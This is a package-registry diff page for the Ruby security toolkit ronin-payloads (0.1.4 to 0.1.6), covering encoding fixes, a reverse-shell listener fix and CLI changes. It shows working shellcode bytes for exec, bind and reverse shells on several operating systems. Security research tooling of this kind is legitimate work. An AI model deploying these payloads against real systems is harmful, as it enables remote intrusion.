RubyGems - ronin-payloads - Versions diffs - 0.1.4 → 0.1.6 - Mend

ronin-payloads 0.1.4 → 0.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (46) hide show

checksums.yaml CHANGED Viewed

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 22dcc9ea244534bd659de580c4ef0576401bf480055ad9b0a6a05787e7375c1b
-  data.tar.gz: f3ce8d4f1e8b1c80610c9de6d860514d9a3d5ef4eb6840d7f888d12fc6621f4c
+  metadata.gz: 97fb8be02023f3bdaf5ef16711bf1192a574ee10b00a46912c964b01e8577012
+  data.tar.gz: a3eb94423e154cd03df538b3883f58de6c166dc7ba7a8f6da077f192f9c66b44
 SHA512:
-  metadata.gz: 8449b2f43b09fd2bf49b29417f8004e24c970b4e797a65430fdfd9df8c7132daa8d4112c36f3a5bb6569efc92e4ada98a0de624a1eb209e50eeadaa245750536
-  data.tar.gz: 02b8ae12c4b29dbd3987067d429919a4bbc883ff562dd8228b93b2eef8ed80fbf8f82c366d43d9a00c92f48570afe480186a2f7cd2ec80d2d35e56312160546e
+  metadata.gz: c4d865c10c583da8a38aea5bb79f39f1165d15dd54e09594a2a557a4880058d7c6bd6f5411f382f9a49386cd2fc36ada45868a7001135ebc742613c9d732a359
+  data.tar.gz: 795417f0c54ae31283be366941b1f703f67fc3d7cfae9cd13f634b89323b2119e0389cc433638514296327a93f4efdfdad5d63c6458eb46fdb3a5be8f4a192a6

data/.github/workflows/ruby.yml CHANGED Viewed

@@ -12,11 +12,12 @@ jobs:
           - '3.0'
           - '3.1'
           - '3.2'
+          - '3.3'
           - jruby
           - truffleruby
     name: Ruby ${{ matrix.ruby }}
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v4
       - name: Set up Ruby
         uses: ruby/setup-ruby@v1
         with:
@@ -35,7 +36,7 @@ jobs:
   rubocop:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v4
       - name: Set up Ruby
         uses: ruby/setup-ruby@v1
         with:

data/.rubocop.yml CHANGED Viewed

@@ -40,3 +40,6 @@ Style/RedundantLineContinuation:
 Layout/LineContinuationSpacing:
   Exclude:
     - 'lib/ronin/payloads/builtin/shellcode/**/*.rb'
+Style/StringConcatenation:
+  Exclude:
+    - 'lib/ronin/payloads/builtin/shellcode/**/*.rb'

data/ChangeLog.md CHANGED Viewed

@@ -1,3 +1,27 @@
+### 0.1.6 / 2024-07-01
+#### Payloads
+* Fixed `incompatible character encodings: UTF-8 and ASCII-8BIT` exceptions when
+  building shellcode payloads with certain IP addresses or port numbers.
+### 0.1.5 / 2024-06-19
+* Fixed order of arguments passed to `TCPServer.new` in
+  {Ronin::Payloads::Mixins::ReverseShell#perform_prelaunch} which was preventing
+  reverse shells from opening a local TCP server socket.
+#### Payloads
+* Fixed the module namespace for the {Ronin::Payloads::CMD::Node::ReverseShell}
+  payload (aka `cmd/node/reverse_shell`).
+#### CLI
+* Automatically create the parent directory of the new payload file,
+  if it doesn't exist, when running `ronin-payloads new path/to/new_payload.rb`.
+* Fixed typo in `ronin-payloads encode` man-page for the `-E,--encoder` option.
 ### 0.1.4 / 2023-09-19
 #### CLI

data/README.md CHANGED Viewed

@@ -18,7 +18,9 @@ payloads. ronin-payloads allows one to write payloads as plain old Ruby classes.
 ronin-payloads can be distributed as Ruby files or in git repositories that can
 be installed with [ronin-repos].
-ronin-exploits is part of the [ronin-rb] project, a [Ruby] toolkit for security
+**tl;dr** It's like `msfvenom` but simpler and more modular.
+ronin-payloads is part of the [ronin-rb] project, a [Ruby] toolkit for security
 research and development.
 ## Features
@@ -27,7 +29,7 @@ research and development.
   possible.
 * Supports defining Payloads as plain old Ruby classes.
 * Provides base classes for a variety of languages and payload types
- (ASM, Shellcode, C, Go, Rust, Java, JSP, PHP, Python, Ruby, NodeJS, Shell,
+  (ASM, Shellcode, C, Go, Rust, Java, JSP, PHP, Python, Ruby, NodeJS, Shell,
   PowerShell, SQL, XML, HTML, URL).
 * Provides built-in common payloads:
   * Command-line reverse shells:
@@ -194,8 +196,8 @@ $ ronin-payloads new example_payload.rb \
 Generate a ronin repository of your own payloads (or exploits):
 ```shell
-$ ronin-repos new my-payloads
-$ cd my-payloads/
+$ ronin-repos new my-repo
+$ cd my-repo/
 $ mkdir payloads
 $ ronin-payloads new payloads/my_payload.rb \
                       --name MyPayload --arch i686 --os Linux \
@@ -211,6 +213,7 @@ $ git push
 Define a `/bin/sh` shellcode payload:
 ```ruby
+# encoding: ASCII-8BIT
 require 'ronin/payloads/shellcode_payload'
 module Ronin

data/gemspec.yml CHANGED Viewed

@@ -6,6 +6,8 @@ description:
   classes. ronin-payloads can be distributed as Ruby files or in git
   repositories that can be installed with ronin-repos.
+  It's like `msfvenom` but simpler and more modular.
 license: LGPL-3.0
 authors: Postmodern
 email: postmodern.mod3@gmail.com

data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb CHANGED Viewed

@@ -25,7 +25,7 @@ require 'ronin/payloads/mixins/reverse_shell'
 module Ronin
   module Payloads
     module CMD
-      module NodeJS
+      module Node
         #
         # A basic `node` (Node.js) reverse shell command.
         #

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -58,7 +59,7 @@ module Ronin
                          "\x31\xc0\x50\x50\x52\xb0\x1e\x50\xcd\x80\xb1\x03\xbb\xff\xff" \
                          "\xff\xff\x89\xc2\x43\x53\x52\xb0\x5a\x50\xcd\x80\x80\xe9\x01" \
                          "\x75\xf3\x31\xc0\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\x97\xff" \
-                         "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23".b
+                         "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -53,7 +54,7 @@ module Ronin
             def build
               @payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" \
                          "\x68\x2f\x62\x69\x6e\x89\xe3\x50" \
-                         "\x54\x53\xb0\x3b\x50\xcd\x80".b
+                         "\x54\x53\xb0\x3b\x50\xcd\x80"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -56,7 +57,7 @@ module Ronin
                          "\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9" \
                          "\x51\x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03" \
                          "\x75\xf0\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \
-                         "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80".b
+                         "\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -53,7 +54,7 @@ module Ronin
             def build
               @payload = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" \
                          "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" \
-                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05".b
+                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -119,7 +120,7 @@ module Ronin
                          "\x08\x00\x8d\xe2" \
                          "\x00\x10\x8d\xe2" \
                          "\x04\x20\x8d\xe2" \
-                         "\x0b\x00\x90\xef".b
+                         "\x0b\x00\x90\xef"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xc2\x51\x03\x37" \
                          "\x01\xdf\x2f\x62" \
                          "\x69\x6e\x2f\x2f" \
-                         "\x73\x68".b
+                         "\x73\x68"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -72,7 +73,7 @@ module Ronin
                          "#{packed_port}" \
                          "#{packed_ipv4}" \
                          \
-                         "/bin/sh\0".b
+                         "/bin/sh\0"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -118,7 +119,7 @@ module Ronin
                          "\xf0\xff\xa5\x23" \
                          "\xab\x0f\x02\x24" \
                          "\x0c\x01\x01\x01" \
-                         "/bin/sh".b
+                         "/bin/sh"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,18 +52,18 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x28\x06\xff\xff".b + # slti    a2,zero,-1
-                         "\x3c\x0f\x2f\x2f".b + # lui     t7,0x2f2f
-                         "\x35\xef\x62\x69".b + # ori     t7,t7,0x6269
-                         "\xaf\xaf\xff\xf4".b + # sw      t7,-12(sp)
-                         "\x3c\x0e\x6e\x2f".b + # lui     t6,0x6e2f
-                         "\x35\xce\x73\x68".b + # ori     t6,t6,0x7368
-                         "\xaf\xae\xff\xf8".b + # sw      t6,-8(sp)
-                         "\xaf\xa0\xff\xfc".b + # sw      zero,-4(sp)
-                         "\x27\xa4\xff\xf4".b + # addiu   a0,sp,-12
-                         "\x28\x05\xff\xff".b + # slti    a1,zero,-1
-                         "\x24\x02\x0f\xab".b + # li      v0,4011
-                         "\x01\x01\x01\x0c".b   # syscall 0x40404
+              @payload = "\x28\x06\xff\xff" + # slti    a2,zero,-1
+                         "\x3c\x0f\x2f\x2f" + # lui     t7,0x2f2f
+                         "\x35\xef\x62\x69" + # ori     t7,t7,0x6269
+                         "\xaf\xaf\xff\xf4" + # sw      t7,-12(sp)
+                         "\x3c\x0e\x6e\x2f" + # lui     t6,0x6e2f
+                         "\x35\xce\x73\x68" + # ori     t6,t6,0x7368
+                         "\xaf\xae\xff\xf8" + # sw      t6,-8(sp)
+                         "\xaf\xa0\xff\xfc" + # sw      zero,-4(sp)
+                         "\x27\xa4\xff\xf4" + # addiu   a0,sp,-12
+                         "\x28\x05\xff\xff" + # slti    a1,zero,-1
+                         "\x24\x02\x0f\xab" + # li      v0,4011
+                         "\x01\x01\x01\x0c"   # syscall 0x40404
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -100,7 +101,7 @@ module Ronin
                          "\x27\xa4\xff\xf4" \
                          "\x28\x05\xff\xff" \
                          "\x24\x02\x0f\xab" \
-                         "\x01\x01\x01\x0c".b
+                         "\x01\x01\x01\x0c"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,20 +52,20 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x7c\x3f\x0b\x78".b + # mr	r31,r1
-                         "\x7c\xa5\x2a\x79".b + # xor.	r5,r5,r5
-                         "\x42\x40\xff\xf9".b + # bdzl+	10000454< main>
-                         "\x7f\x08\x02\xa6".b + # mflr	r24
-                         "\x3b\x18\x01\x34".b + # addi	r24,r24,308
-                         "\x98\xb8\xfe\xfb".b + # stb	r5,-261(r24)
-                         "\x38\x78\xfe\xf4".b + # addi	r3,r24,-268
-                         "\x90\x61\xff\xf8".b + # stw	r3,-8(r1)
-                         "\x38\x81\xff\xf8".b + # addi	r4,r1,-8
-                         "\x90\xa1\xff\xfc".b + # stw	r5,-4(r1)
-                         "\x3b\xc0\x01\x60".b + # li	r30,352
-                         "\x7f\xc0\x2e\x70".b + # srawi	r0,r30,5
-                         "\x44\xde\xad\xf2".b + # .long	0x44deadf2
-                         "/bin/shZ".b  # the last byte becomes NULL
+              @payload = "\x7c\x3f\x0b\x78" + # mr	r31,r1
+                         "\x7c\xa5\x2a\x79" + # xor.	r5,r5,r5
+                         "\x42\x40\xff\xf9" + # bdzl+	10000454< main>
+                         "\x7f\x08\x02\xa6" + # mflr	r24
+                         "\x3b\x18\x01\x34" + # addi	r24,r24,308
+                         "\x98\xb8\xfe\xfb" + # stb	r5,-261(r24)
+                         "\x38\x78\xfe\xf4" + # addi	r3,r24,-268
+                         "\x90\x61\xff\xf8" + # stw	r3,-8(r1)
+                         "\x38\x81\xff\xf8" + # addi	r4,r1,-8
+                         "\x90\xa1\xff\xfc" + # stw	r5,-4(r1)
+                         "\x3b\xc0\x01\x60" + # li	r30,352
+                         "\x7f\xc0\x2e\x70" + # srawi	r0,r30,5
+                         "\x44\xde\xad\xf2" + # .long	0x44deadf2
+                         "/bin/shZ"  # the last byte becomes NULL
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -125,7 +126,7 @@ module Ronin
                           "\x3b\xc0\x01\x60" \
                           "\x7f\xc0\x2e\x70" \
                           "\x44\xde\xad\xf2" \
-                          "/bin/shZ".b
+                          "/bin/shZ"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -98,7 +99,7 @@ module Ronin
                          "\x68\x2f\x62\x69\x6e" \
                          "\x89\xe3" \
                          "\xb0\x0b" \
-                         "\xcd\x80".b
+                         "\xcd\x80"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -54,7 +55,7 @@ module Ronin
             def build
               @payload = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" \
                          "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" \
-                         "\x80".b
+                         "\x80"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -62,7 +63,7 @@ module Ronin
                          "\xc0\x52\x68\x6e\x2f\x73\x68\x68" \
                          "\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
                          "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" \
-                         "\x80".b
+                         "\x80"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -59,7 +60,7 @@ module Ronin
                          "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" \
                          "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" \
                          "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" \
-                         "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05".b
+                         "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -51,16 +52,16 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x48\x31\xd2".b +     # xor    %rdx, %rdx
-                         "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68".b + # mov	$0x68732f6e69622f2f, %rbx
-                         "\x48\xc1\xeb\x08".b + # shr    $0x8, %rbx
-                         "\x53".b +             # push   %rbx
-                         "\x48\x89\xe7".b +     # mov    %rsp, %rdi
-                         "\x50".b +             # push   %rax
-                         "\x57".b +             # push   %rdi
-                         "\x48\x89\xe6".b +     # mov    %rsp, %rsi
-                         "\xb0\x3b".b +         # mov    $0x3b, %al
-                         "\x0f\x05".b           # syscall
+              @payload = "\x48\x31\xd2" +     # xor    %rdx, %rdx
+                         "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" + # mov	$0x68732f6e69622f2f, %rbx
+                         "\x48\xc1\xeb\x08" + # shr    $0x8, %rbx
+                         "\x53" +             # push   %rbx
+                         "\x48\x89\xe7" +     # mov    %rsp, %rdi
+                         "\x50" +             # push   %rax
+                         "\x57" +             # push   %rdi
+                         "\x48\x89\xe6" +     # mov    %rsp, %rsi
+                         "\xb0\x3b" +         # mov    $0x3b, %al
+                         "\x0f\x05"           # syscall
             end
           end

data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -58,7 +59,7 @@ module Ronin
                          "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \
                          "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \
                          "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \
-                         "\x5f\x6a\x3b\x58\x0f\x05".b
+                         "\x5f\x6a\x3b\x58\x0f\x05"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -55,7 +56,7 @@ module Ronin
               @payload = "\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01" \
                          "\x48\x83\xc0\x45\x5f\x52\x57\x48\x89\xe6" \
                          "\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69" \
-                         "\x6e\x2f\x2f\x73\x68".b
+                         "\x6e\x2f\x2f\x73\x68"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83" \
                          "\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48" \
                          "\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed" \
-                         "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
+                         "\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -74,7 +75,7 @@ module Ronin
                          "\x01\x01\x01\x01" \
                          "\x02\x02\x02\x02" \
                          "\x03\x03\x03\x03" \
-                         "\x9a\x04\x04\x04\x04\x07\x04".b
+                         "\x9a\x04\x04\x04\x04\x07\x04"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -60,7 +61,7 @@ module Ronin
                          "\xef\xeb\x23\x5b\x89\x1f\x31\xc9\x88\x4b\x07\x89\x4f\x04\x51\x8d" \
                          "\x07\x50\x8b\x07\x50\x50\x31\xc0\xb0\x3b\xcd\x80\x31\xc9\x51\x51" \
                          "\x31\xc0\xb0\x01\xcd\x80\xe8\xd8\xff\xff\xff\x2f\x62\x69\x6e\x2f" \
-                         "\x73\x68\x41\x90".b
+                         "\x73\x68\x41\x90"
             end
           end

data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -52,18 +53,18 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x99".b +                 # cltd
-                         "\x52".b +                 # push	%edx
-                         "\x68\x6e\x2f\x73\x68".b + # push	$0x68732f6e
-                         "\x68\x2f\x2f\x62\x69".b + # push	$0x69622f2f
-                         "\x89\xe3".b +             # mov	%esp,%ebx
-                         "\x52".b +                 # push	%edx
-                         "\x54".b +                 # push	%esp
-                         "\x53".b +                 # push	%ebx
-                         "\x53".b +                 # push	%ebx
-                         "\x6a\x3b".b +             # push	$0x3b
-                         "\x58".b +                 # pop	%eax
-                         "\xcd\x80".b               # int	$0x80
+              @payload = "\x99" +                 # cltd
+                         "\x52" +                 # push	%edx
+                         "\x68\x6e\x2f\x73\x68" + # push	$0x68732f6e
+                         "\x68\x2f\x2f\x62\x69" + # push	$0x69622f2f
+                         "\x89\xe3" +             # mov	%esp,%ebx
+                         "\x52" +                 # push	%edx
+                         "\x54" +                 # push	%esp
+                         "\x53" +                 # push	%ebx
+                         "\x53" +                 # push	%ebx
+                         "\x6a\x3b" +             # push	$0x3b
+                         "\x58" +                 # pop	%eax
+                         "\xcd\x80"               # int	$0x80
             end
           end

data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb CHANGED Viewed

@@ -1,3 +1,4 @@
+# encoding: ASCII-8BIT
 # frozen_string_literal: true
 #
 # ronin-payloads - A Ruby micro-framework for writing and running exploit
@@ -52,26 +53,26 @@ module Ronin
             # Builds the shellcode.
             #
             def build
-              @payload = "\x31\xC9".b +                 # xor ecx,ecx
-                         "\x64\x8B\x71\x30".b +         # mov esi,[fs:ecx+0x30]
-                         "\x8B\x76\x0C".b +             # mov esi,[esi+0xc]
-                         "\x8B\x76\x1C".b +             # mov esi,[esi+0x1c]
-                         "\x8B\x36".b +                 # mov esi,[esi]
-                         "\x8B\x06".b +                 # mov eax,[esi]
-                         "\x8B\x68\x08".b +             # mov ebp,[eax+0x8]
-                         "\xEB\x20".b +                 # jmp short 0x35
-                         "\x5B".b +                     # pop ebx
-                         "\x53".b +                     # push ebx
-                         "\x55".b +                     # push ebp
-                         "\x5B".b +                     # pop ebx
-                         "\x81\xEB\x11\x11\x11\x11".b + # sub ebx,0x11111111
-                         "\x81\xC3\xDA\x3F\x1A\x11".b + # add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
-                         "\xFF\xD3".b +                 # call ebx
-                         "\x81\xC3\x11\x11\x11\x11".b + # add ebx,0x11111111
-                         "\x81\xEB\x8C\xCC\x18\x11".b + # sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
-                         "\xFF\xD3".b +                 # call ebx
-                         "\xE8\xDB\xFF\xFF\xFF".b +     # call dword 0x15
-                         "\x63\x6d\x64".b               # db "cmd"
+              @payload = "\x31\xC9" +                 # xor ecx,ecx
+                         "\x64\x8B\x71\x30" +         # mov esi,[fs:ecx+0x30]
+                         "\x8B\x76\x0C" +             # mov esi,[esi+0xc]
+                         "\x8B\x76\x1C" +             # mov esi,[esi+0x1c]
+                         "\x8B\x36" +                 # mov esi,[esi]
+                         "\x8B\x06" +                 # mov eax,[esi]
+                         "\x8B\x68\x08" +             # mov ebp,[eax+0x8]
+                         "\xEB\x20" +                 # jmp short 0x35
+                         "\x5B" +                     # pop ebx
+                         "\x53" +                     # push ebx
+                         "\x55" +                     # push ebp
+                         "\x5B" +                     # pop ebx
+                         "\x81\xEB\x11\x11\x11\x11" + # sub ebx,0x11111111
+                         "\x81\xC3\xDA\x3F\x1A\x11" + # add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
+                         "\xFF\xD3" +                 # call ebx
+                         "\x81\xC3\x11\x11\x11\x11" + # add ebx,0x11111111
+                         "\x81\xEB\x8C\xCC\x18\x11" + # sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
+                         "\xFF\xD3" +                 # call ebx
+                         "\xE8\xDB\xFF\xFF\xFF" +     # call dword 0x15
+                         "\x63\x6d\x64"               # db "cmd"
             end
           end

data/lib/ronin/payloads/cli/commands/new.rb CHANGED Viewed

@@ -25,7 +25,6 @@ require 'ronin/core/cli/generator/options/author'
 require 'ronin/core/cli/generator/options/summary'
 require 'ronin/core/cli/generator/options/description'
 require 'ronin/core/cli/generator/options/reference'
-require 'ronin/core/git'
 require 'command_kit/inflector'
@@ -81,11 +80,6 @@ module Ronin
           man_page 'ronin-payloads-new.1'
-          # The references to add to the payload.
-          #
-          # @return [Array<String>]
-          attr_reader :references
           #
           # Initializes the `ronin-payloads new` command.
           #
@@ -105,9 +99,12 @@ module Ronin
           #   The path to the new payload file.
           #
           def run(file)
+            @directory  = File.dirname(file)
             @file_name  = File.basename(file,File.extname(file))
             @class_name = CommandKit::Inflector.camelize(@file_name)
+            mkdir @directory unless @directory == '.'
             erb "payload.rb.erb", file
             chmod '+x', file
           end

data/lib/ronin/payloads/mixins/reverse_shell.rb CHANGED Viewed

@@ -72,7 +72,7 @@ module Ronin
         # additional pre-launch steps.
         #
         def perform_prelaunch
-          @server = TCPServer.new(port,host)
+          @server = TCPServer.new(host,port)
           @server.listen(1)
           super

data/lib/ronin/payloads/version.rb CHANGED Viewed

@@ -22,6 +22,6 @@
 module Ronin
   module Payloads
     # ronin-payloads version
-    VERSION = '0.1.4'
+    VERSION = '0.1.6'
   end
 end

data/man/ronin-payloads-build.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-build 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads build\fR \[lB]\fIoptions\fP\[rB] \[lC]\fB--file\fR \fIFILE\fP \[or] \fINAME\fP\[rC]
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-encode.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-encoder 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads encoder\fR \[lB]\fIoptions\fP\[rB] \[lC]\fB--string\fR \fISTRING\fP \[or] \fIFILE\fP\[rC]
 .LP
 .SH DESCRIPTION
@@ -25,7 +25,7 @@ The optional file to read the data to encode from\.
 Formats the encoded data\.
 .LP
 .TP
-\fB-E\fR, \fB--encode\fR \fIENCODER\fP
+\fB-E\fR, \fB--encoder\fR \fIENCODER\fP
 Loads the encoder with the given name\.
 .LP
 .TP

data/man/ronin-payloads-encode.1.md CHANGED Viewed

@@ -18,7 +18,7 @@ Encodes data using one or more encoders.
 `-F`, `--format` `hex`\|`c`\|`shell`\|`powershell`\|`xml`\|`html`\|`js`\|`ruby`
   Formats the encoded data.
-`-E`, `--encode` *ENCODER*
+`-E`, `--encoder` *ENCODER*
   Loads the encoder with the given name.
 `-p`, `--param` *ENCODER*`.`*NAME*`=`*VALUE*

